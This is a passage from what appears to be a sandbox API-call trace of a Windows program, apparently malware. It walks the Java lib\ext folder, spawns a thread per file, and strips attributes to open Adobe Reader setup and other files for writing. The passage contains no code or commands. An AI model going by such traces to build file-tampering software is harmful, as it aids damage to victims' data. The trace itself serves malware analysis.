cAlternateFileName="ACCESS~1.JAR")) returned 1 [0153.648] wcscmp (_String1="access-bridge-32.jar", _String2=".") returned 1 [0153.648] wcscmp (_String1="access-bridge-32.jar", _String2="..") returned 1 [0153.648] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50170 [0153.648] wcscpy (in: _Dest=0x12c50170, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0153.648] wcscat (in: _Dest=0x12c50170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0153.648] wcscat (in: _Dest=0x12c50170, _Source="access-bridge-32.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" [0155.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34 [0155.691] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0155.691] wcscmp (_String1="dnsns.jar", _String2=".") returned 1 [0155.691] wcscmp (_String1="dnsns.jar", _String2="..") returned 1 [0155.691] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1528 [0155.691] wcscpy (in: _Dest=0x8f1528, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.691] wcscat (in: _Dest=0x8f1528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.691] wcscat (in: _Dest=0x8f1528, _Source="dnsns.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" [0155.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d0 [0155.692] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0155.692] wcscmp (_String1="jaccess.jar", _String2=".") returned 1 [0155.692] wcscmp (_String1="jaccess.jar", _String2="..") returned 1 [0155.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93cad0 [0155.692] wcscpy (in: _Dest=0x93cad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.692] wcscat (in: _Dest=0x93cad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.692] wcscat (in: _Dest=0x93cad0, _Source="jaccess.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" [0155.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d4 [0155.693] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753c3a00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753c3a00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753e9b60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf790d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0155.693] wcscmp (_String1="localedata.jar", _String2=".") returned 1 [0155.693] wcscmp (_String1="localedata.jar", _String2="..") returned 1 [0155.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93bcc0 [0155.693] wcscpy (in: _Dest=0x93bcc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.693] wcscat (in: _Dest=0x93bcc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.693] wcscat (in: _Dest=0x93bcc0, _Source="localedata.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" [0155.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d8 [0155.698] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x33d, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0155.698] wcscmp (_String1="meta-index", _String2=".") returned 1 [0155.698] wcscmp (_String1="meta-index", _String2="..") returned 1 [0155.698] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f17c8 [0155.698] wcscpy (in: _Dest=0x8f17c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.698] wcscat (in: _Dest=0x8f17c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.698] wcscat (in: _Dest=0x8f17c8, _Source="meta-index" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index" [0155.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f17c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1980 [0155.699] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3e45, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0155.699] wcscmp (_String1="sunec.jar", _String2=".") returned 1 [0155.699] wcscmp (_String1="sunec.jar", _String2="..") returned 1 [0155.699] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1838 [0155.699] wcscpy (in: _Dest=0x8f1838, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.699] wcscat (in: _Dest=0x8f1838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.699] wcscat (in: _Dest=0x8f1838, _Source="sunec.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" [0155.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e4 [0155.701] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3057d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0155.701] wcscmp (_String1="sunjce_provider.jar", _String2=".") returned 1 [0155.701] wcscmp (_String1="sunjce_provider.jar", _String2="..") returned 1 [0155.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x943350 [0155.701] wcscpy (in: _Dest=0x943350, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.701] wcscat (in: _Dest=0x943350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.701] wcscat (in: _Dest=0x943350, _Source="sunjce_provider.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" [0155.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e8 [0155.702] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0155.702] wcscmp (_String1="sunmscapi.jar", _String2=".") returned 1 [0155.702] wcscmp (_String1="sunmscapi.jar", _String2="..") returned 1 [0155.702] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c3c8 [0155.702] wcscpy (in: _Dest=0x93c3c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.702] wcscat (in: _Dest=0x93c3c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.702] wcscat (in: _Dest=0x93c3c8, _Source="sunmscapi.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" [0155.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec [0155.703] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0155.703] wcscmp (_String1="sunpkcs11.jar", _String2=".") returned 1 [0155.703] wcscmp (_String1="sunpkcs11.jar", _String2="..") returned 1 [0155.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c878 [0155.703] wcscpy (in: _Dest=0x93c878, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.703] wcscat (in: _Dest=0x93c878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.703] wcscat (in: _Dest=0x93c878, _Source="sunpkcs11.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" [0155.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0 [0155.704] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0155.704] wcscmp (_String1="zipfs.jar", _String2=".") returned 1 [0155.705] wcscmp (_String1="zipfs.jar", _String2="..") returned 1 [0155.705] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1218 [0155.705] wcscpy (in: _Dest=0x8f1218, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0155.705] wcscat (in: _Dest=0x8f1218, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0155.705] wcscat (in: _Dest=0x8f1218, _Source="zipfs.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" [0155.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f4 [0155.706] FindNextFileW (in: hFindFile=0x93b1b8, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0155.706] FindClose (in: hFindFile=0x93b1b8 | out: hFindFile=0x93b1b8) returned 1 [0155.707] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9050f8) returned 1 [0155.707] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff368) returned 1 [0155.707] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff128) returned 1 Thread: id = 3253 os_tid = 0x1f64 [0152.456] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20 [0152.458] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0152.458] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.458] GetLastError () returned 0x5 [0152.458] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0152.458] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd090) returned 1 Thread: id = 3285 os_tid = 0x1fe8 [0152.733] GetFileAttributesW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml")) returned 0x2020 [0152.734] SetFileAttributesW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", dwFileAttributes=0x20) returned 0 [0152.734] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.734] GetLastError () returned 0x5 [0152.734] SetFileAttributesW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", dwFileAttributes=0x2020) returned 0 [0152.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f13d8) returned 1 Thread: id = 3286 os_tid = 0x1fec [0152.735] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1027.mst")) returned 0x21 [0152.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst", dwFileAttributes=0x20) returned 0 [0152.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1027.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.735] GetLastError () returned 0x5 [0152.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst", dwFileAttributes=0x21) returned 0 [0152.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dce08) returned 1 Thread: id = 3287 os_tid = 0x1ff0 [0152.737] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1028.mst")) returned 0x21 [0152.737] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst", dwFileAttributes=0x20) returned 0 [0152.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1028.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.737] GetLastError () returned 0x5 [0152.737] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst", dwFileAttributes=0x21) returned 0 [0152.743] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd168) returned 1 Thread: id = 3288 os_tid = 0x1ff4 [0152.745] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1029.mst")) returned 0x21 [0152.745] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst", dwFileAttributes=0x20) returned 0 [0152.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1029.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.745] GetLastError () returned 0x5 [0152.745] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst", dwFileAttributes=0x21) returned 0 [0152.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dcc58) returned 1 Thread: id = 3289 os_tid = 0x1ff8 [0152.747] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1030.mst")) returned 0x21 [0152.747] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst", dwFileAttributes=0x20) returned 0 [0152.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1030.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.747] GetLastError () returned 0x5 [0152.747] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst", dwFileAttributes=0x21) returned 0 [0152.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd090) returned 1 Thread: id = 3290 os_tid = 0x1ffc [0152.748] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1031.mst")) returned 0x21 [0153.396] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst", dwFileAttributes=0x20) returned 0 [0153.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1031.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.396] GetLastError () returned 0x5 [0153.396] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst", dwFileAttributes=0x21) returned 0 [0153.396] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd240) returned 1 Thread: id = 3291 os_tid = 0x760 [0152.749] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1033.mst")) returned 0x21 [0153.397] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst", dwFileAttributes=0x20) returned 0 [0153.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup 